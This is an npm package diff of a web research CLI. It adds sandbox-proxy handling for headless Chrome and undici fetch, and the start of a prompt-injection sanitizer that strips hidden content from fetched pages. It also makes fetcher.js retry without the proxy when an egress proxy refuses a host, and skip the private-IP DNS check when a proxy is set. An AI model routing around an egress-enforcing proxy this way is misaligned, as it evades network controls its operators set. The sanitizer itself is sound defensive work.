@taurgis/bonsai 3.0.0 → 3.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/commands/fetch.d.ts +1 -0
- package/dist/commands/fetch.js +60 -2
- package/dist/commands/import.js +3 -2
- package/dist/lib/research/browser.d.ts +14 -0
- package/dist/lib/research/browser.js +71 -4
- package/dist/lib/research/docs/markdown-source.js +2 -1
- package/dist/lib/research/extract.js +2 -1
- package/dist/lib/research/fetcher.js +92 -48
- package/dist/lib/research/prompt-injection.d.ts +1 -0
- package/dist/lib/research/prompt-injection.js +149 -0
- package/dist/lib/research/proxy.d.ts +71 -0
- package/dist/lib/research/proxy.js +188 -0
- package/dist/sites/salesforce-doc-fetch.js +10 -2
- package/oclif.manifest.json +1 -1
- package/package.json +4 -2
package/dist/commands/fetch.d.ts
CHANGED
|
@@ -38,6 +38,7 @@ export default class FetchCommand extends BaseCommand<typeof FetchCommand> {
|
|
|
38
38
|
run(): Promise<unknown>;
|
|
39
39
|
private fetchSingleTarget;
|
|
40
40
|
}
|
|
41
|
+
export declare function describeError(err: unknown): string;
|
|
41
42
|
export declare function fetchFailureGuidance(message: string, url: string): {
|
|
42
43
|
suggestions: string[];
|
|
43
44
|
ref?: string;
|
package/dist/commands/fetch.js
CHANGED
|
@@ -9,7 +9,8 @@ import { loadSummaryLevel } from '../lib/config/index.js';
|
|
|
9
9
|
import { evaluateFreshness, checkMaxAgeExpired, durationFlagError, } from '../lib/research/freshness.js';
|
|
10
10
|
import { revalidateCache, createArtifactFromFetch } from '../lib/research/revalidate.js';
|
|
11
11
|
import { fetchStaticHtml, fetchText } from '../lib/research/fetcher.js';
|
|
12
|
-
import {
|
|
12
|
+
import { PROXY_TUNNEL_REJECTION_PATTERN } from '../lib/research/proxy.js';
|
|
13
|
+
import { fetchRenderedHtml, SANDBOX_EGRESS_ERROR_MARKER } from '../lib/research/browser.js';
|
|
13
14
|
import { capturePage } from '../lib/research/capture.js';
|
|
14
15
|
import { persistSectionArtifacts } from '../lib/research/docs/section-artifacts.js';
|
|
15
16
|
import { applyAutoTags } from '../lib/research/keywords.js';
|
|
@@ -194,8 +195,14 @@ export default class FetchCommand extends BaseCommand {
|
|
|
194
195
|
// failure — validation errors (bad flags/URL) exit before the try — so the contract's runtime code
|
|
195
196
|
// (1) applies. Suggestions render on stderr for humans only; under --json the envelope carries just
|
|
196
197
|
// the message (toErrorJson), so machine output is unchanged.
|
|
198
|
+
//
|
|
199
|
+
// Uses `describeError` (below) rather than `err.message` alone: Node/undici's fetch wraps
|
|
200
|
+
// transport failures (DNS, refused connections, a proxy that won't tunnel to the host) in a
|
|
201
|
+
// generic "fetch failed" TypeError with the real reason nested in `.cause`, so reading only the
|
|
202
|
+
// top message would surface a content-free "fetch failed" for exactly the failures a user most
|
|
203
|
+
// needs a hint for.
|
|
197
204
|
emitFetchError(err, url) {
|
|
198
|
-
const message =
|
|
205
|
+
const message = describeError(err);
|
|
199
206
|
const guidance = fetchFailureGuidance(message, url);
|
|
200
207
|
this.error(message, {
|
|
201
208
|
exit: 1,
|
|
@@ -320,6 +327,25 @@ export default class FetchCommand extends BaseCommand {
|
|
|
320
327
|
return resultData;
|
|
321
328
|
}
|
|
322
329
|
}
|
|
330
|
+
// How many `.cause` levels to walk. Real undici/Node transport errors nest at most 1-2 deep;
|
|
331
|
+
// the cap exists so a self-referential or cyclic `.cause` chain (Error.cause is an arbitrary,
|
|
332
|
+
// unvalidated property — nothing prevents `e.cause = e`, whether from a bug in this codebase or
|
|
333
|
+
// a dependency) can't hang the process, rather than being a limit expected to matter in practice.
|
|
334
|
+
const MAX_CAUSE_DEPTH = 10;
|
|
335
|
+
// Walks an Error's `.cause` chain and joins every message, deepest last. Node/undici's fetch
|
|
336
|
+
// throws a generic `TypeError: fetch failed` for transport-level failures, with the actionable
|
|
337
|
+
// detail (e.g. a proxy's tunnel rejection) nested one or two `.cause` levels down.
|
|
338
|
+
export function describeError(err) {
|
|
339
|
+
if (!(err instanceof Error))
|
|
340
|
+
return String(err);
|
|
341
|
+
const parts = [err.message];
|
|
342
|
+
let cause = err.cause;
|
|
343
|
+
for (let depth = 0; depth < MAX_CAUSE_DEPTH && cause instanceof Error; depth++) {
|
|
344
|
+
parts.push(cause.message);
|
|
345
|
+
cause = cause.cause;
|
|
346
|
+
}
|
|
347
|
+
return parts.join(': ');
|
|
348
|
+
}
|
|
323
349
|
// Maps a runtime fetch failure to recovery steps keyed off its message. Returns undefined for
|
|
324
350
|
// unrecognized failures, which then surface with their original message and no extra hint. The
|
|
325
351
|
// patterns match the thrown text in fetcher.ts/browser.ts; keep them in sync if those messages
|
|
@@ -361,6 +387,38 @@ export function fetchFailureGuidance(message, url) {
|
|
|
361
387
|
suggestions: ['Check the hostname is spelled correctly and resolves on a public network.'],
|
|
362
388
|
};
|
|
363
389
|
}
|
|
390
|
+
// Chrome's own network stack hit a proxy-enforced sandbox egress block (browser.ts's
|
|
391
|
+
// describeNavigationFailure already explains the cause and the fix); only a workaround and the
|
|
392
|
+
// docs ref are added here.
|
|
393
|
+
if (message.includes(SANDBOX_EGRESS_ERROR_MARKER)) {
|
|
394
|
+
return { suggestions: [importHint], ref };
|
|
395
|
+
}
|
|
396
|
+
// A configured proxy (HTTPS_PROXY/HTTP_PROXY) refused to tunnel to this host — distinct from
|
|
397
|
+
// the destination's own 401/403 above, which is the site itself rejecting the request. Shared
|
|
398
|
+
// with fetcher.ts's retry-fallback check so the two stay in sync by construction.
|
|
399
|
+
if (PROXY_TUNNEL_REJECTION_PATTERN.test(message)) {
|
|
400
|
+
return {
|
|
401
|
+
suggestions: [
|
|
402
|
+
"The configured proxy (HTTPS_PROXY/HTTP_PROXY) won't reach this host. Check its allowlist, or add the host to NO_PROXY to bypass the proxy for it.",
|
|
403
|
+
importHint,
|
|
404
|
+
],
|
|
405
|
+
ref,
|
|
406
|
+
};
|
|
407
|
+
}
|
|
408
|
+
// The connection failed before any HTTP response was received — network-down, DNS, TLS, or a
|
|
409
|
+
// proxy issue not specifically matched above. Node/undici's fetch reports all of these as a
|
|
410
|
+
// generic "fetch failed" TypeError with no further suffix; the negative lookahead keeps this
|
|
411
|
+
// from also matching assertOk's "Fetch failed with status NNN ..." (a real HTTP response was
|
|
412
|
+
// received in that case, so it isn't a transport failure at all).
|
|
413
|
+
if (/^fetch failed\b(?!\s+with status)/i.test(message)) {
|
|
414
|
+
return {
|
|
415
|
+
suggestions: [
|
|
416
|
+
'The connection failed before a response was received. Check network connectivity and any HTTPS_PROXY/HTTP_PROXY/NO_PROXY settings.',
|
|
417
|
+
importHint,
|
|
418
|
+
],
|
|
419
|
+
ref,
|
|
420
|
+
};
|
|
421
|
+
}
|
|
364
422
|
// A hostname that only resolves to a private/local IP at request time (literal private addresses
|
|
365
423
|
// are rejected earlier with exit 2). Blocked to prevent SSRF; only public hosts can be fetched.
|
|
366
424
|
if (/blocked local or private target/.test(message)) {
|
package/dist/commands/import.js
CHANGED
|
@@ -11,6 +11,7 @@ import { writeArtifactSecurely } from '../lib/research/secure-write.js';
|
|
|
11
11
|
import { loadSummaryLevel } from '../lib/config/index.js';
|
|
12
12
|
import { durationFlagError, getPolicy } from '../lib/research/freshness.js';
|
|
13
13
|
import { buildCompressed } from '../lib/research/compress.js';
|
|
14
|
+
import { sanitizePromptInjection } from '../lib/research/prompt-injection.js';
|
|
14
15
|
import { applyAutoTags } from '../lib/research/keywords.js';
|
|
15
16
|
import { estimateTokens } from '../lib/research/token-estimate.js';
|
|
16
17
|
export default class ResearchImport extends BaseCommand {
|
|
@@ -268,11 +269,11 @@ export default class ResearchImport extends BaseCommand {
|
|
|
268
269
|
const { freshWindowMs } = getPolicy(tier, ttl);
|
|
269
270
|
const staleAfterTime = new Date(currentTime.getTime() + freshWindowMs);
|
|
270
271
|
const inputFormat = this.flags['input-format'];
|
|
271
|
-
const detailed = rawInput;
|
|
272
|
+
const detailed = sanitizePromptInjection(rawInput);
|
|
272
273
|
// A caller-supplied compressed input is trusted as-is; only a detailed import is condensed here,
|
|
273
274
|
// and it shares the same buildCompressed policy (structural pass + extractive fallback) as fetch.
|
|
274
275
|
const compressed = inputFormat === 'detailed'
|
|
275
|
-
? buildCompressed(
|
|
276
|
+
? buildCompressed(detailed, loadSummaryLevel(this.config.configDir, process.cwd()))
|
|
276
277
|
: rawInput;
|
|
277
278
|
const contentHash = createHash('sha256').update(detailed).digest('hex');
|
|
278
279
|
const metadata = {
|
|
@@ -24,6 +24,7 @@ export declare class CdpClient {
|
|
|
24
24
|
close(): void;
|
|
25
25
|
}
|
|
26
26
|
export declare function findChromePath(): string;
|
|
27
|
+
export declare function buildChromeArgs(): string[];
|
|
27
28
|
export declare function waitForLoad(client: CdpClient, sessionId: string, timeoutMs: number, settleMs?: number): Promise<void>;
|
|
28
29
|
export declare const BLOCKED_ASSET_URLS: string[];
|
|
29
30
|
export interface CdpPage {
|
|
@@ -75,4 +76,17 @@ export declare class ResponseCapture {
|
|
|
75
76
|
/** Resolves with the response body text once a matching response finishes, or null on timeout. */
|
|
76
77
|
waitFor(key: string, timeoutMs: number): Promise<string | null>;
|
|
77
78
|
}
|
|
79
|
+
export declare const SANDBOX_EGRESS_ERROR_MARKER = "sandboxed execution environment";
|
|
80
|
+
/**
|
|
81
|
+
* Builds the error thrown for a failed Page.navigate. When a proxy is configured (proxy.ts's
|
|
82
|
+
* signal for "this is a sandboxed execution environment") and Chrome's failure code indicates the
|
|
83
|
+
* proxy itself declined the tunnel, the destination isn't reachable because of the sandbox's
|
|
84
|
+
* network egress gateway rejecting it, not a real navigation problem — so the message says that
|
|
85
|
+
* explicitly, rather than surfacing a bare Chrome net-error code that looks like a generic
|
|
86
|
+
* connectivity failure. It deliberately doesn't claim the fix is "ask an admin to allowlist this
|
|
87
|
+
* host": the gateway that rejects the CONNECT tunnel can disagree with an org's configured domain
|
|
88
|
+
* policy (a different layer may not reach it), so the safer, always-correct advice is to verify
|
|
89
|
+
* against the environment directly and fall back to a manual fetch if it's still unreachable.
|
|
90
|
+
*/
|
|
91
|
+
export declare function describeNavigationFailure(errorText: string, url: string): Error;
|
|
78
92
|
export declare function fetchRenderedHtml(url: string, options?: BrowserFetchOptions): Promise<BrowserFetchResult>;
|
|
@@ -1,7 +1,9 @@
|
|
|
1
1
|
import { spawn } from 'node:child_process';
|
|
2
2
|
import { existsSync } from 'node:fs';
|
|
3
3
|
import { execSync } from 'node:child_process';
|
|
4
|
+
import { join } from 'node:path';
|
|
4
5
|
import { checkDnsSafety } from './fetcher.js';
|
|
6
|
+
import { getChromeProxyArgs, getChromeSpkiArgs, getChromeTlsCompatibilityArgs, isProxyConfigured, } from './proxy.js';
|
|
5
7
|
import { normalizeUrl } from './url.js';
|
|
6
8
|
export class CdpClient {
|
|
7
9
|
ws;
|
|
@@ -64,6 +66,13 @@ export function findChromePath() {
|
|
|
64
66
|
return process.env.CHROME_PATH;
|
|
65
67
|
}
|
|
66
68
|
const paths = [];
|
|
69
|
+
// Claude Code's remote sandbox (and other Playwright-provisioned environments) pre-installs a
|
|
70
|
+
// Chromium build under PLAYWRIGHT_BROWSERS_PATH rather than a system package manager location,
|
|
71
|
+
// with a `chromium` symlink at its root pointing at the actual browser binary. It's headless-Chrome
|
|
72
|
+
// capable (needed for the CDP `--headless=new` flag this module uses), so it's checked first.
|
|
73
|
+
if (process.env.PLAYWRIGHT_BROWSERS_PATH) {
|
|
74
|
+
paths.push(join(process.env.PLAYWRIGHT_BROWSERS_PATH, 'chromium'));
|
|
75
|
+
}
|
|
67
76
|
if (process.platform === 'darwin') {
|
|
68
77
|
paths.push('/Applications/Google Chrome.app/Contents/MacOS/Google Chrome', '/Applications/Chromium.app/Contents/MacOS/Chromium');
|
|
69
78
|
}
|
|
@@ -93,8 +102,10 @@ export function findChromePath() {
|
|
|
93
102
|
throw new Error('No Chrome or Chromium browser found for browser-based extraction. Install Chrome/Chromium or ' +
|
|
94
103
|
'set CHROME_PATH to the browser executable. Static (non-rendered) fetching does not require a browser.');
|
|
95
104
|
}
|
|
96
|
-
|
|
97
|
-
|
|
105
|
+
// Split out from spawnChrome so the exact CLI args (including the proxy flags) are unit-testable
|
|
106
|
+
// without spawning a real browser process.
|
|
107
|
+
export function buildChromeArgs() {
|
|
108
|
+
return [
|
|
98
109
|
'--headless=new',
|
|
99
110
|
'--remote-debugging-port=0',
|
|
100
111
|
'--disable-gpu',
|
|
@@ -102,7 +113,22 @@ async function spawnChrome(chromePath) {
|
|
|
102
113
|
'--disable-setuid-sandbox',
|
|
103
114
|
'--disable-extensions',
|
|
104
115
|
'--disable-dev-shm-usage',
|
|
105
|
-
|
|
116
|
+
// CDP navigation uses Chrome's own network stack, not Node's fetch/undici, so a sandbox
|
|
117
|
+
// proxy detected via *_PROXY env vars must be passed to Chrome separately (see proxy.ts).
|
|
118
|
+
...getChromeProxyArgs(),
|
|
119
|
+
// The sandbox proxy above re-terminates TLS with its own CA, which Chrome's Chrome-Root-Store
|
|
120
|
+
// verifier doesn't trust by default (unlike Node/curl/Python, which read NODE_EXTRA_CA_CERTS/
|
|
121
|
+
// SSL_CERT_FILE/CURL_CA_BUNDLE). Pin trust to that specific CA rather than disabling
|
|
122
|
+
// verification wholesale (see proxy.ts's getChromeSpkiArgs).
|
|
123
|
+
...getChromeSpkiArgs(),
|
|
124
|
+
// Separately from cert trust: some sandbox proxies' TLS terminator never responds to Chrome's
|
|
125
|
+
// default TLS 1.3 ClientHello and the connection is eventually reset (see proxy.ts's
|
|
126
|
+
// getChromeTlsCompatibilityArgs for how this was diagnosed).
|
|
127
|
+
...getChromeTlsCompatibilityArgs(),
|
|
128
|
+
];
|
|
129
|
+
}
|
|
130
|
+
async function spawnChrome(chromePath) {
|
|
131
|
+
const chromeProcess = spawn(chromePath, buildChromeArgs());
|
|
106
132
|
try {
|
|
107
133
|
const wsUrl = await new Promise((resolve, reject) => {
|
|
108
134
|
let output = '';
|
|
@@ -294,6 +320,47 @@ export class ResponseCapture {
|
|
|
294
320
|
});
|
|
295
321
|
}
|
|
296
322
|
}
|
|
323
|
+
// Chrome has its own network stack (see getChromeProxyArgs), so when a sandbox's egress-enforcing
|
|
324
|
+
// proxy declines to tunnel to a destination, Chrome surfaces one of these net-error codes instead
|
|
325
|
+
// of the HTTP-level rejection undici sees in fetcher.ts (PROXY_TUNNEL_REJECTION_PATTERN). Matched
|
|
326
|
+
// against Page.navigate's `errorText`, which arrives as e.g. "net::ERR_TUNNEL_CONNECTION_FAILED".
|
|
327
|
+
const PROXY_BLOCKED_CHROME_NET_ERRORS = [
|
|
328
|
+
'ERR_TUNNEL_CONNECTION_FAILED',
|
|
329
|
+
'ERR_PROXY_CONNECTION_FAILED',
|
|
330
|
+
'ERR_SOCKS_CONNECTION_FAILED',
|
|
331
|
+
];
|
|
332
|
+
// Shared substring fetch.ts's fetchFailureGuidance matches on to attach suggestions/ref to this
|
|
333
|
+
// error, without duplicating the message text it needs to match against.
|
|
334
|
+
export const SANDBOX_EGRESS_ERROR_MARKER = 'sandboxed execution environment';
|
|
335
|
+
/**
|
|
336
|
+
* Builds the error thrown for a failed Page.navigate. When a proxy is configured (proxy.ts's
|
|
337
|
+
* signal for "this is a sandboxed execution environment") and Chrome's failure code indicates the
|
|
338
|
+
* proxy itself declined the tunnel, the destination isn't reachable because of the sandbox's
|
|
339
|
+
* network egress gateway rejecting it, not a real navigation problem — so the message says that
|
|
340
|
+
* explicitly, rather than surfacing a bare Chrome net-error code that looks like a generic
|
|
341
|
+
* connectivity failure. It deliberately doesn't claim the fix is "ask an admin to allowlist this
|
|
342
|
+
* host": the gateway that rejects the CONNECT tunnel can disagree with an org's configured domain
|
|
343
|
+
* policy (a different layer may not reach it), so the safer, always-correct advice is to verify
|
|
344
|
+
* against the environment directly and fall back to a manual fetch if it's still unreachable.
|
|
345
|
+
*/
|
|
346
|
+
export function describeNavigationFailure(errorText, url) {
|
|
347
|
+
const isProxyBlock = isProxyConfigured() && PROXY_BLOCKED_CHROME_NET_ERRORS.some((code) => errorText.includes(code));
|
|
348
|
+
if (!isProxyBlock) {
|
|
349
|
+
return new Error(`Navigation failed: ${errorText}`);
|
|
350
|
+
}
|
|
351
|
+
let host = url;
|
|
352
|
+
try {
|
|
353
|
+
host = new URL(url).hostname;
|
|
354
|
+
}
|
|
355
|
+
catch { }
|
|
356
|
+
return new Error(`Chrome could not reach "${host}" (${errorText}). This looks like a ${SANDBOX_EGRESS_ERROR_MARKER} ` +
|
|
357
|
+
`(e.g. Claude Code's remote sandbox) whose outbound network gateway rejected the connection to ` +
|
|
358
|
+
`this host, via the configured proxy (HTTPS_PROXY/HTTP_PROXY). This can happen even when the ` +
|
|
359
|
+
`environment's domain policy looks unrestricted, since the gateway enforcing egress can be a ` +
|
|
360
|
+
`separate layer from that policy. It can't be worked around from inside the sandbox by retrying ` +
|
|
361
|
+
`or bypassing the proxy: confirm "${host}" is reachable from this environment (e.g. test the ` +
|
|
362
|
+
`proxy directly), or fetch the page from a network with access and import it instead.`);
|
|
363
|
+
}
|
|
297
364
|
// Chrome can emit these on first navigation in headless CI when the cert verifier reloads mid-run.
|
|
298
365
|
const TRANSIENT_NAV_ERROR_CODES = ['ERR_CERT_VERIFIER_CHANGED'];
|
|
299
366
|
function isTransientBrowserNavigationError(err) {
|
|
@@ -330,7 +397,7 @@ async function fetchRenderedHtmlOnce(url, options = {}) {
|
|
|
330
397
|
// A network-level failure (DNS, refused/closed connection, TLS) never fires a load event, so
|
|
331
398
|
// fail fast here instead of waiting out the full navigation timeout on a dead page.
|
|
332
399
|
if (nav.errorText) {
|
|
333
|
-
throw
|
|
400
|
+
throw describeNavigationFailure(nav.errorText, currentUrl);
|
|
334
401
|
}
|
|
335
402
|
await waitForLoad(page.client, page.sessionId, timeout, options.settleMs ?? 1000);
|
|
336
403
|
const mainDoc = nav.frameId ? documentResponses.get(nav.frameId) : undefined;
|
|
@@ -1,4 +1,5 @@
|
|
|
1
1
|
import { dropEmptyLinks, htmlToMarkdown } from '../markdown.js';
|
|
2
|
+
import { sanitizePromptInjection } from '../prompt-injection.js';
|
|
2
3
|
// Parses a leading YAML frontmatter block (--- ... ---). Only flat scalar keys are read; nested
|
|
3
4
|
// structures are ignored (we only need title/description). The block is stripped from the body.
|
|
4
5
|
export function parseFrontmatter(md) {
|
|
@@ -183,7 +184,7 @@ export function extractFromSource(md, sourceUrl) {
|
|
|
183
184
|
? cleanKumaScript(stripMdnHiddenSamples(body))
|
|
184
185
|
: body;
|
|
185
186
|
const tablesAsMarkdown = convertHtmlTables(sanitizeSourceMarkdown(deMacroed));
|
|
186
|
-
const cleaned = dropEmptySections(dropEmptyLinks(tablesAsMarkdown)).trim();
|
|
187
|
+
const cleaned = sanitizePromptInjection(dropEmptySections(dropEmptyLinks(tablesAsMarkdown))).trim();
|
|
187
188
|
const notes = [`captured from public Markdown/MDX source: ${sourceUrl}`];
|
|
188
189
|
return {
|
|
189
190
|
title: titleFrom(frontmatter, cleaned),
|
|
@@ -4,6 +4,7 @@ import { htmlToMarkdown } from './markdown.js';
|
|
|
4
4
|
import { normalizeCodeBlocks } from './docs/code-blocks.js';
|
|
5
5
|
import { cleanDocsChrome } from './docs/clean-dom.js';
|
|
6
6
|
import { analyzeMarkdownQuality } from './docs/quality-gates.js';
|
|
7
|
+
import { sanitizePromptInjection } from './prompt-injection.js';
|
|
7
8
|
function resolveRelativeLinks(document, finalUrl) {
|
|
8
9
|
const base = new URL(finalUrl);
|
|
9
10
|
const links = document.querySelectorAll('a');
|
|
@@ -69,7 +70,7 @@ export function extractHtmlContent(html, finalUrl) {
|
|
|
69
70
|
throw new Error('Content extraction failed: The target page could not be parsed by the readability engine. ' +
|
|
70
71
|
'Hint: The "import" command lets you import pre-cleaned, agent-supplied research notes directly.');
|
|
71
72
|
}
|
|
72
|
-
const detailedMarkdown = htmlToMarkdown(article.content);
|
|
73
|
+
const detailedMarkdown = sanitizePromptInjection(htmlToMarkdown(article.content));
|
|
73
74
|
const textLength = article.textContent ? article.textContent.trim().length : 0;
|
|
74
75
|
const { confidence, notes } = determineConfidence(textLength);
|
|
75
76
|
const quality = analyzeMarkdownQuality(detailedMarkdown, article.title || '');
|
|
@@ -1,6 +1,61 @@
|
|
|
1
1
|
import { lookup } from 'node:dns/promises';
|
|
2
2
|
import { isIP } from 'node:net';
|
|
3
|
+
import { fetch as undiciFetch } from 'undici';
|
|
3
4
|
import { isSafeIp, normalizeUrl } from './url.js';
|
|
5
|
+
import { getProxyDispatcher, isProxyConfigured, PROXY_TUNNEL_REJECTION_PATTERN } from './proxy.js';
|
|
6
|
+
// Runs one fetch attempt with its own fresh AbortController/timeout, so that when `doFetch` makes
|
|
7
|
+
// a second attempt (the proxy fallback below) it gets the full timeout budget rather than
|
|
8
|
+
// whatever was left over from the first attempt's signal. Loosely typed at this one boundary
|
|
9
|
+
// because it bridges two structurally-similar-but-nominally-distinct fetch implementations
|
|
10
|
+
// (Node's global fetch and the separate `undici` package's own fetch/RequestInit/Response).
|
|
11
|
+
async function fetchWithTimeout(fetchFn, url, init, timeoutMs) {
|
|
12
|
+
const controller = new AbortController();
|
|
13
|
+
const id = setTimeout(() => controller.abort(), timeoutMs);
|
|
14
|
+
try {
|
|
15
|
+
return (await fetchFn(url, { ...init, signal: controller.signal }));
|
|
16
|
+
}
|
|
17
|
+
finally {
|
|
18
|
+
clearTimeout(id);
|
|
19
|
+
}
|
|
20
|
+
}
|
|
21
|
+
// True when `err` is a transport failure specifically caused by the proxy declining to tunnel to
|
|
22
|
+
// the target host (e.g. an allowlist-only sandbox proxy), as opposed to any other pre-response
|
|
23
|
+
// failure (DNS, refused connection, a genuinely unreachable destination). Only this class of
|
|
24
|
+
// failure is worth retrying without the proxy — retrying on any transport TypeError would also
|
|
25
|
+
// re-attempt destinations that are down regardless of the proxy, doubling their latency for no
|
|
26
|
+
// benefit.
|
|
27
|
+
function isProxyTunnelRejection(err) {
|
|
28
|
+
let current = err;
|
|
29
|
+
while (current instanceof Error) {
|
|
30
|
+
if (PROXY_TUNNEL_REJECTION_PATTERN.test(current.message))
|
|
31
|
+
return true;
|
|
32
|
+
current = current.cause;
|
|
33
|
+
}
|
|
34
|
+
return false;
|
|
35
|
+
}
|
|
36
|
+
// Node's global fetch cannot be handed a Dispatcher from the separate `undici` package (their
|
|
37
|
+
// internal request-handler interfaces don't line up across versions), so routing through a
|
|
38
|
+
// sandbox-detected proxy requires switching to undici's own fetch for that one request. The
|
|
39
|
+
// unproxied path keeps using the global fetch, matching existing tests that stub `globalThis.fetch`.
|
|
40
|
+
//
|
|
41
|
+
// A configured proxy isn't a guarantee the proxy can actually reach a given host (many sandbox
|
|
42
|
+
// proxies only allowlist specific destinations), so a proxy-tunnel rejection falls back to a
|
|
43
|
+
// direct connection rather than treating "proxy is configured" as "proxy or nothing." The
|
|
44
|
+
// fallback gets its own fresh timeout (via fetchWithTimeout) rather than inheriting the proxied
|
|
45
|
+
// attempt's spent budget.
|
|
46
|
+
async function doFetch(url, init, timeoutMs) {
|
|
47
|
+
const dispatcher = getProxyDispatcher();
|
|
48
|
+
if (!dispatcher)
|
|
49
|
+
return fetchWithTimeout(fetch, url, init, timeoutMs);
|
|
50
|
+
try {
|
|
51
|
+
return await fetchWithTimeout(undiciFetch, url, { ...init, dispatcher }, timeoutMs);
|
|
52
|
+
}
|
|
53
|
+
catch (err) {
|
|
54
|
+
if (!isProxyTunnelRejection(err))
|
|
55
|
+
throw err;
|
|
56
|
+
return fetchWithTimeout(fetch, url, init, timeoutMs);
|
|
57
|
+
}
|
|
58
|
+
}
|
|
4
59
|
export function looksLikeHtml(text) {
|
|
5
60
|
const trimmed = text.trimStart().toLowerCase();
|
|
6
61
|
return (trimmed.startsWith('<!doctype html') ||
|
|
@@ -19,17 +74,26 @@ export async function checkDnsSafety(hostname) {
|
|
|
19
74
|
}
|
|
20
75
|
return;
|
|
21
76
|
}
|
|
77
|
+
let addresses;
|
|
22
78
|
try {
|
|
23
|
-
|
|
24
|
-
for (const addr of addresses) {
|
|
25
|
-
if (!isSafeIp(addr.address)) {
|
|
26
|
-
throw new Error(`IP address "${addr.address}" resolved for "${hostname}" is a blocked local or private target.`);
|
|
27
|
-
}
|
|
28
|
-
}
|
|
79
|
+
addresses = await lookup(hostToResolve, { all: true });
|
|
29
80
|
}
|
|
30
81
|
catch (err) {
|
|
82
|
+
// A sandbox that requires a proxy for HTTP egress may also block raw DNS queries (port 53)
|
|
83
|
+
// without blocking name resolution done through the proxy itself — so a failed *local*
|
|
84
|
+
// lookup isn't necessarily a dead end when a proxy is available to fall back on. Only skip
|
|
85
|
+
// the safety guarantee in that specific case; whenever local resolution succeeds (the common
|
|
86
|
+
// case, proxy or not), the resolved address is still validated below regardless of proxy
|
|
87
|
+
// configuration, so a hostname that resolves to a private/internal IP is still caught.
|
|
88
|
+
if (isProxyConfigured())
|
|
89
|
+
return;
|
|
31
90
|
throw new Error(`DNS resolution failed for hostname "${hostname}": ${err.message}`);
|
|
32
91
|
}
|
|
92
|
+
for (const addr of addresses) {
|
|
93
|
+
if (!isSafeIp(addr.address)) {
|
|
94
|
+
throw new Error(`IP address "${addr.address}" resolved for "${hostname}" is a blocked local or private target.`);
|
|
95
|
+
}
|
|
96
|
+
}
|
|
33
97
|
}
|
|
34
98
|
async function readBodyWithLimit(body, limit) {
|
|
35
99
|
if (!body) {
|
|
@@ -123,32 +187,20 @@ async function fetchWithRedirects(url, options, process) {
|
|
|
123
187
|
while (true) {
|
|
124
188
|
const parsedUrl = new URL(currentUrl);
|
|
125
189
|
await checkDnsSafety(parsedUrl.hostname);
|
|
126
|
-
const
|
|
127
|
-
|
|
128
|
-
|
|
129
|
-
|
|
130
|
-
|
|
131
|
-
headers: initialHeaders,
|
|
132
|
-
redirect: 'manual',
|
|
133
|
-
signal: controller.signal,
|
|
134
|
-
});
|
|
135
|
-
if ([301, 302, 303, 307, 308].includes(res.status)) {
|
|
136
|
-
redirectCount++;
|
|
137
|
-
if (redirectCount > maxRedirects) {
|
|
138
|
-
throw new Error(`Too many redirects. Exceeded limit of ${maxRedirects}.`);
|
|
139
|
-
}
|
|
140
|
-
const location = res.headers.get('location');
|
|
141
|
-
if (!location) {
|
|
142
|
-
throw new Error(`Redirect response status ${res.status} missing Location header.`);
|
|
143
|
-
}
|
|
144
|
-
currentUrl = normalizeUrl(new URL(location, currentUrl).toString());
|
|
145
|
-
continue;
|
|
190
|
+
const res = await doFetch(currentUrl, { method: 'GET', headers: initialHeaders, redirect: 'manual' }, timeout);
|
|
191
|
+
if ([301, 302, 303, 307, 308].includes(res.status)) {
|
|
192
|
+
redirectCount++;
|
|
193
|
+
if (redirectCount > maxRedirects) {
|
|
194
|
+
throw new Error(`Too many redirects. Exceeded limit of ${maxRedirects}.`);
|
|
146
195
|
}
|
|
147
|
-
|
|
148
|
-
|
|
149
|
-
|
|
150
|
-
|
|
196
|
+
const location = res.headers.get('location');
|
|
197
|
+
if (!location) {
|
|
198
|
+
throw new Error(`Redirect response status ${res.status} missing Location header.`);
|
|
199
|
+
}
|
|
200
|
+
currentUrl = normalizeUrl(new URL(location, currentUrl).toString());
|
|
201
|
+
continue;
|
|
151
202
|
}
|
|
203
|
+
return await process(res, limit, currentUrl);
|
|
152
204
|
}
|
|
153
205
|
}
|
|
154
206
|
export async function fetchStaticHtml(url, options = {}) {
|
|
@@ -171,22 +223,14 @@ export async function postJson(url, body, headers = {}, options = {}) {
|
|
|
171
223
|
const limit = options.bodyLimitBytes ?? 2 * 1024 * 1024;
|
|
172
224
|
const target = normalizeUrl(url);
|
|
173
225
|
await checkDnsSafety(new URL(target).hostname);
|
|
174
|
-
const
|
|
175
|
-
|
|
176
|
-
|
|
177
|
-
|
|
178
|
-
|
|
179
|
-
|
|
180
|
-
|
|
181
|
-
|
|
182
|
-
|
|
183
|
-
|
|
184
|
-
if (!res.ok)
|
|
185
|
-
throw new Error(`Search request failed with status ${res.status} ${res.statusText}`);
|
|
186
|
-
const bytes = await readBodyWithLimit(res.body, limit);
|
|
187
|
-
return new TextDecoder().decode(bytes);
|
|
188
|
-
}
|
|
189
|
-
finally {
|
|
190
|
-
clearTimeout(id);
|
|
191
|
-
}
|
|
226
|
+
const res = await doFetch(target, {
|
|
227
|
+
method: 'POST',
|
|
228
|
+
headers: { 'content-type': 'application/json', ...headers },
|
|
229
|
+
body: JSON.stringify(body),
|
|
230
|
+
redirect: 'error',
|
|
231
|
+
}, timeout);
|
|
232
|
+
if (!res.ok)
|
|
233
|
+
throw new Error(`Search request failed with status ${res.status} ${res.statusText}`);
|
|
234
|
+
const bytes = await readBodyWithLimit(res.body, limit);
|
|
235
|
+
return new TextDecoder().decode(bytes);
|
|
192
236
|
}
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
export declare function sanitizePromptInjection(markdown: string): string;
|
|
@@ -0,0 +1,149 @@
|
|
|
1
|
+
import { Buffer } from 'node:buffer';
|
|
2
|
+
const REDACTION = '[Removed potentially unsafe agent instruction]';
|
|
3
|
+
const ZERO_WIDTH = /[\u200b-\u200f\ufeff]/g;
|
|
4
|
+
const HTML_COMMENT = /<!--[\s\S]*?-->/g;
|
|
5
|
+
const BASE64_TOKEN = /(?<![A-Za-z0-9+/_-])(?:[A-Za-z0-9+/_-]{16,}={0,2})(?![A-Za-z0-9+/_-])/g;
|
|
6
|
+
const HEX_TOKEN = /(?<![a-f0-9])(?:0x)?[a-f0-9]{24,}(?![a-f0-9])/gi;
|
|
7
|
+
const QUOTED_SPAN = /(`[^`\n]+`|"[^"\n]+"|'[^'\n]+')/g;
